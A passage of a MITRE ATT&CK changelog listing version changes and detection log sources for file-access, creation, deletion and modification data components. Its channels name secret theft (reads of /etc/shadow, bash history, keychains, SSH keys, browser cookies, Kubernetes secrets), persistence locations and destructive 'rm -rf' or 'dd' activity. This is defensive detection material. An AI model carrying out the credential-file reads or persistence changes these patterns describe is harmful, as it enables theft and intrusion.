'channel': 'PATH'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Call Monitoring'}, {'name': 'esxi:hostd', 'channel': 'vSphere File API Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read: Access to /proc/self/status with focus on TracerPID field'}, {'name': 'fs:fsusage', 'channel': 'read/write'}, {'name': 'esxis:vmkernel', 'channel': 'Datastore Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read access to ~/.bash_history'}, {'name': 'macos:endpointsecurity', 'channel': 'open or read syscall to ~/.bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains/login.keychain-db'}, {'name': 'auditd:SYSCALL', 'channel': 'open,read'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem and process events'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read system calls to ~/.bash_history or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains or history files by terminal processes'}, {'name': 'auditd:SYSCALL', 'channel': 'read of /run/secrets or docker volumes by non-entrypoint process'}, {'name': 'macos:unifiedlog', 'channel': 'access to /Volumes/SharePoint or network mount'}, {'name': 'auditd:SYSCALL', 'channel': 'Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/Safari/Bookmarks.plist or recent files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read'}, {'name': 'macos:unifiedlog', 'channel': 'access to keychain database'}, {'name': 'auditd:PATH', 'channel': 'file read'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to cryptographic operations, module loading, and filesystem access patterns'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating access to system configuration files and environmental information sources'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open, es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes'}, {'name': 'auditd:SYSCALL', 'channel': 'open or read to browser cookie storage'}, {'name': 'fs:fsusage', 'channel': 'file open for known browser cookie paths'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, mount'}, {'name': 'fs:fsusage', 'channel': 'file reads/writes from /Volumes/'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file provider subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'file'}, {'name': 'kubernetes:audit', 'channel': 'GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server'}, {'name': 'auditd:SYSCALL', 'channel': 'Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey'}, {'name': 'fs:quarantine', 'channel': '/var/log/quarantine.log'}, {'name': 'desktop:file_manager', 'channel': 'nautilus, dolphin, or gvfs logs'}, {'name': 'linux:osquery', 'channel': '/proc/*/maps access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories (/etc, /home/*)'}, {'name': 'macos:unifiedlog', 'channel': 'read/write of user documents prior to upload'}, {'name': 'esxi:hostd', 'channel': 'file copy or datastore upload via HTTPS'}, {'name': 'macos:unifiedlog', 'channel': 'open/read access to private key files (id_rsa, *.pem, *.p12)'}, {'name': 'linux:osquery', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'fs:fileevents', 'channel': 'File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)'}, {'name': 'auditd:FS', 'channel': 'read: File access to /proc/modules or /sys/module/'}, {'name': 'macos:unifiedlog', 'channel': 'read: File access to /System/Library/Extensions/ or related kernel extension paths'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*'}, {'name': 'macos:unifiedlog', 'channel': '*.opvault OR *.ldb OR *.kdbx'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:07.996000+00:00 | 2025-10-21 15:14:35.674000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0039', 'external_id': 'DC0039'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=11'}, {'name': 'auditd:SYSCALL', 'channel': 'creat'}, {'name': 'macos:unifiedlog', 'channel': 'file write'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Modification of .asar in /opt or ~/.config directories'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Modification of app.asar inside .app bundle'}, {'name': 'auditd:FILE', 'channel': "File creation with name starting with '.'"}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of browser extension .plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'open or creat syscalls targeting excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'file creation in AV exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'file creation/modification'}, {'name': 'macos:unifiedlog', 'channel': 'file write/create'}, {'name': 'esxi:vmkernel', 'channel': 'file write'}, {'name': 'snmp:syslog', 'channel': 'firmware write/log event'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions'}, {'name': 'fs:fsevents', 'channel': 'Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS file creation'}, {'name': 'auditd:SYSCALL', 'channel': 'write/open, FIM audit'}, {'name': 'fs:fsusage', 'channel': 'open/write/exec calls'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .plist under /Library/Managed Preferences/'}, {'name': 'fs:fileevents', 'channel': 'creat'}, {'name': 'fs:fsusage', 'channel': 'disk activity on /Library/LaunchAgents or LaunchDaemons'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Write to ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'creation of ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib files in monitored directories'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'linux:Sysmon', 'channel': 'New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch'}, {'name': 'macos:unifiedlog', 'channel': 'New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children'}, {'name': 'auditd:FILE', 'channel': 'create: New file created in system binaries or temp directories'}, {'name': 'macos:unifiedlog', 'channel': 'File created in ~/Library/LaunchAgents or executable directories'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: File creation or deletion involving critical stored data'}, {'name': 'macos:unifiedlog', 'channel': 'Process wrote large .mov/.mp4 in user temp/hidden dirs'}, {'name': 'macos:unifiedlog', 'channel': 'logd:file write'}, {'name': 'fs:fsusage', 'channel': 'File IO'}, {'name': 'auditd:SYSCALL', 'channel': 'creat, open, write on /etc/systemd/system and /usr/lib/systemd/system'}, {'name': 'macos:unified', 'channel': 'File creation'}, {'name': 'macos:unifiedlog', 'channel': 'Attachment files written to ~/Downloads or temporary folders'}, {'name': 'fs:fsusage', 'channel': 'file activity'}, {'name': 'CloudTrail:PutObject', 'channel': 'PutObject'}, {'name': 'auditd:PATH', 'channel': 'Creation of files with extensions .sql, .csv, .sqlite, especially in user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Writes of .sql/.csv/.xlsx files to user documents/downloads'}, {'name': 'auditd:PATH', 'channel': 'New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install'}, {'name': 'auditd:SYSCALL', 'channel': 'write, open, or rename to /etc/systemd/system/*.service'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories'}, {'name': 'fs:fsusage', 'channel': 'file open/write'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of archive files in /tmp, /var/tmp, or user home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'File Events'}, {'name': 'auditd:SYSCALL', 'channel': 'File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of postinstall scripts within .pkg or .mpkg contents'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang'}, {'name': 'macos:unifiedlog', 'channel': 'create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write, unlink'}, {'name': 'WinEventLog:Sysmon', 'channel': 'File creation of suspicious scripts/binaries in temporary directories'}, {'name': 'macos:unifiedlog', 'channel': 'File creation of unsigned binaries/scripts in user cache or download directories'}, {'name': 'auditd:SYSCALL', 'channel': 'File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds'}, {'name': 'fs:fsusage', 'channel': 'create: Attachment file creation in ~/Library/Mail directories'}, {'name': 'WinEventLog:Microsoft-Windows-Shell-Core', 'channel': 'New startup folder shortcut or binary placed in Startup directory'}, {'name': 'auditd:SYSCALL', 'channel': 'write or create file after .bash_history access'}, {'name': 'auditd:SYSCALL', 'channel': 'new file created in /var/www/html, /srv/http, or similar web root'}, {'name': 'fs:launchdaemons', 'channel': 'file_create'}, {'name': 'auditd:PATH', 'channel': 'mount target path within /proc/*'}, {'name': 'macos:fsevents', 'channel': '/Library/StartupItems/, ~/Library/LaunchAgents/'}, {'name': 'fs:fsusage', 'channel': 'write or chmod to ~/Library/LaunchAgents/*.plist'}, {'name': 'auditd:PATH', 'channel': 'creation of .so files in non-standard directories (e.g., /tmp, /home/*)'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files with anomalous headers and entropy levels in /tmp or user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of files with anomalous headers and entropy values'}, {'name': 'auditd:SYSCALL', 'channel': 'Access or modification to /lib/modules or creation of .ko files'}, {'name': 'fs:fsevents', 'channel': 'Directory events (kFSEventStreamEventFlagItemCreated)'}, {'name': 'gcp:workspaceaudit', 'channel': 'drive.activity logs'}, {'name': 'fs:fileevents', 'channel': 'create/write/rename in user-writable paths'}, {'name': 'auditd:PATH', 'channel': 'WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open,create'}, {'name': 'auditd:FILE', 'channel': 'Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip or .dmg files in user-accessible or temporary directories'}, {'name': 'fs:fsusage', 'channel': 'file write'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open'}, {'name': 'macos:unifiedlog', 'channel': 'file create or modify in /etc/emond.d/rules or /private/var/db/emondClients'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename,write'}, {'name': 'macos:unifiedlog', 'channel': 'Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:18.072000+00:00 | 2025-10-21 19:32:14.744000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0040', 'external_id': 'DC0040'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat on service binaries or data targets'}, {'name': 'auditd:SYSCALL', 'channel': 'file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'esxi:shell', 'channel': 'shell history'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=23'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'esxi:hostd', 'channel': 'delete action'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, openat, write'}, {'name': 'macos:unifiedlog', 'channel': 'exec rm -rf|dd if=/dev|srm|file unlink'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, rmdir'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, rename, open'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=23'}, {'name': 'fs:fsusage', 'channel': 'unlink, fs_delete'}, {'name': 'docker:daemon', 'channel': 'container file operations'}, {'name': 'esxi:hostd', 'channel': 'rm, clearlogs, logrotate'}, {'name': 'esxi:hostd', 'channel': 'Datastore file operations'}, {'name': 'macos:osquery', 'channel': 'CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat'}, {'name': 'WinEventLog:Microsoft-Windows-Backup', 'channel': 'Windows Backup Catalog deletion or catalog corruption'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/etc/fstab, /etc/systemd/*'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:21.434000+00:00 | 2025-10-21 15:14:36.450000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0059', 'external_id': 'DC0059'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'linux:osquery', 'channel': 'event-based'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Invalid/Unsigned image when developer tool launches newly installed binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt or yum/dnf transaction logs (install/update of build tools)'}, {'name': 'linux:osquery', 'channel': 'file_events, hash'}, {'name': 'macos:unifiedlog', 'channel': 'softwareupdated/homebrew/install logs, pkginstalld events'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI or Gatekeeper signature/notarization failures for newly installed dev components'}, {'name': 'auditd:SYSCALL', 'channel': 'Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/'}, {'name': 'linux:syslog', 'channel': 'Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp'}, {'name': 'macos:unifiedlog', 'channel': 'Detection of altered _VBA_PROJECT or PerformanceCache streams'}, {'name': 'EDR:file', 'channel': 'File Metadata Inspection (Low String Entropy, Missing PDB)'}, {'name': 'linux:osquery', 'channel': 'hash, elf_info, file_metadata'}, {'name': 'macos:osquery', 'channel': 'code_signing, file_metadata'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational log'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:syspolicyd'}, {'name': 'macos:unifiedlog', 'channel': 'File metadata updated with UF_HIDDEN flag'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15'}, {'name': 'auditd:PATH', 'channel': 'file path matches exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'path'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_file_rename_t or es_event_file_write_t'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'file write after sleep delay'}, {'name': 'esxi:vmkernel', 'channel': 'Upload of file to datastore'}, {'name': 'ebpf:syscalls', 'channel': 'Unexpected container volume unmount + file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'EDR:file', 'channel': 'File Metadata Analysis (PE overlays, entropy)'}, {'name': 'linux:osquery', 'channel': 'elf_info, hash, yara_matches'}, {'name': 'macos:osquery', 'channel': 'mach_o_info, file_metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Code signature validation fails or is absent post-binary modification'}, {'name': 'fs:filesystem', 'channel': 'Binary file hash changes outside of update/patch cycles'}, {'name': 'linux:osquery', 'channel': 'Read headers and detect MIME type mismatch'}, {'name': 'macos:unifiedlog', 'channel': 'Code signing verification failures or bypassed trust decisions'}, {'name': 'NSM:Flow', 'channel': 'Observed File Transfers'}, {'name': 'esxi:vmkernel', 'channel': 'Storage access and file ops'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'chmod or chown of hook files indicating privilege escalation or execution permission change'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem events'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar attribute removal commands'}, {'name': 'macos:unifiedlog', 'channel': 'Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2'}, {'name': 'linux:syslog', 'channel': 'application or system execution logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)'}, {'name': 'linux:syslog', 'channel': 'file permission modification events in kernel messages'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission or attribute changes'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission modifications'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to file or VM permission changes'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for file system permission modifications'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or invalid image for newly installed/updated binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals'}, {'name': 'macos:unifiedlog', 'channel': 'pkginstalld/softwareupdated/Homebrew install transactions'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI/Gatekeeper code signature or notarization failures'}, {'name': 'EDR:detection', 'channel': 'App reputation telemetry'}, {'name': 'gatekeeper/quarantine database', 'channel': 'LaunchServices quarantine'}, {'name': 'linux:osquery', 'channel': 'file_events.path'}, {'name': 'auditd:SYSCALL', 'channel': 'setuid or setgid bit changes'}, {'name': 'linux:osquery', 'channel': 'Filesystem modifications to trusted paths'}, {'name': 'fs:fsusage', 'channel': 'filesystem monitoring of exec/open'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)'}, {'name': 'auditd:PATH', 'channel': 'file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to file system permission changes and security violations'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission, ownership, and attribute modifications with user context'}, {'name': 'macos:unifiedlog', 'channel': 'kernel extension and system extension logs related to file system security violations or SIP bypass attempts'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Code integrity violations in boot-start drivers or firmware'}, {'name': 'fwupd:logs', 'channel': 'Firmware updates applied or failed'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_authentication'}, {'name': 'esxi:vmkernel', 'channel': 'Datastore modification events'}, {'name': 'linux:osquery', 'channel': 'Write or modify .desktop file in XDG autostart path'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected application binary modifications or altered signing status'}, {'name': 'auditd:SYSCALL', 'channel': 'setxattr or getxattr system call'}, {'name': 'macos:unifiedlog', 'channel': 'extended attribute write or modification'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663, 4656, 4658'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*'}, {'name': 'macos:unifiedlog', 'channel': 'New certificate trust settings added by unexpected process'}, {'name': 'esxi:syslog', 'channel': 'Datastore file hidden or renamed unexpectedly'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.lsd'}, {'name': 'saas:RepoEvents', 'channel': 'New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries"}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'SmartScreen or ASR blocks on newly downloaded installer/updater'}, {'name': 'WinEventLog:Setup', 'channel': 'MSI/Product install, repair or update events'}, {'name': 'journald:package', 'channel': 'dpkg/apt install, remove, upgrade events'}, {'name': 'journald:package', 'channel': 'yum/dnf install or update transactions'}, {'name': 'linux:osquery', 'channel': 'hash, rpm_packages, deb_packages, file_events'}, {'name': 'macos:unifiedlog', 'channel': "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer"}, {'name': 'macos:unifiedlog', 'channel': "Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages"}, {'name': 'networkdevice:syslog', 'channel': 'OS version query results inconsistent with expected or approved version list'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or modification with com.apple.ResourceFork extended attribute'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15 '}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:14.725000+00:00 | 2025-10-21 15:14:35.397000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0061', 'external_id': 'DC0061'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d'}, {'name': 'macos:unifiedlog', 'channel': 'File modification in /etc/paths.d or user shell rc files'}, {'name': 'fs:fileevents', 'channel': '/var/log/quarantine.log'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write'}, {'name': 'auditd:SYSCALL', 'channel': 'AUDIT_SYSCALL (open, write, rename, unlink)'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for modification of /etc/sudoers or writing to /var/db/sudo'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors'}, {'name': 'macos:osquery', 'channel': 'query: Enumeration of root certificates showing unexpected additions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous plist modifications or sensitive file overwrites by non-standard processes'}, {'name': 'auditd:FILE', 'channel': 'Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write of .service unit files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write/unlink'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or desktopservices modified settings or files'}, {'name': 'ESXiLogs:messages', 'channel': 'changes to /etc/motd or /etc/vmware/welcome'}, {'name': 'auditd:SYSCALL', 'channel': 'write, rename'}, {'name': 'containerd:runtime', 'channel': 'file change monitoring within /etc/cron.*, /tmp, or mounted volumes'}, {'name': 'esxi:cron', 'channel': 'manual edits to /etc/rc.local.d/local.sh or cron.d'}, {'name': 'auditd:PATH', 'channel': '/etc/passwd or /etc/group file write'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'macos:unifiedlog', 'channel': 'SecurityAgentPlugins modification'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modifications to *.plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'esxi:hostd', 'channel': 'boot'}, {'name': 'networkdevice:syslog', 'channel': 'config'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle'}, {'name': 'fs:filesystem', 'channel': "Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost"}, {'name': 'auditd:SYSCALL', 'channel': 'write | PATH=/home/*/.ssh/authorized_keys'}, {'name': 'macos:auth', 'channel': '~/.ssh/authorized_keys'}, {'name': 'gcp:audit', 'channel': 'compute.instances.setMetadata'}, {'name': 'azure:resource', 'channel': 'PATCH vm/authorized_keys'}, {'name': 'esxi:shell', 'channel': 'file write or edit'}, {'name': 'linux:syslog', 'channel': 'rename'}, {'name': 'ebpf:syscalls', 'channel': 'file_write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of plist with apple.awt.UIElement set to TRUE'}, {'name': 'fs:fsusage', 'channel': 'unlink, write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts'}, {'name': 'auditd:PATH', 'channel': 'write: Modification of /boot/grub/*, /boot/efi/EFI/*, or initramfs images'}, {'name': 'networkdevice:config', 'channel': 'config-change: timezone or ntp server configuration change after a time query command'}, {'name': 'macos:unifiedlog', 'channel': 'replace existing dylibs'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to boot variables, startup image paths, or checksum verification failures'}, {'name': 'firmware:update', 'channel': 'Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation'}, {'name': 'IntegrityCheck:ImageValidation', 'channel': 'Checksum or hash mismatch between running image and known-good vendor-provided image'}, {'name': 'macos:osquery', 'channel': 'File modifications in ~/Library/Preferences/'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /etc/pam.d/*'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Security/SecurityAgentPlugins'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications to Mail.app plist files controlling message rules'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'auditd:SYSCALL', 'channel': 'write: Modification of structured stored data by suspicious processes'}, {'name': 'linux:syslog', 'channel': 'Unexpected log entries or malformed SQL operations in databases'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected creation or modification of stored data files in protected directories'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EvenCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'openat, write, rename, unlink'}, {'name': 'macos:unifiedlog', 'channel': 'file encrypted|new file with .encrypted extension|disk write burst'}, {'name': 'esxi:vmkernel', 'channel': 'rename .vmdk to .*.locked|datastore write spike'}, {'name': 'macos:unifiedlog', 'channel': 'Mach-O binary modified or LC_LOAD_DYLIB segment inserted'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin'}, {'name': 'macos:unifiedlog', 'channel': 'Modified application plist or binary replacement in 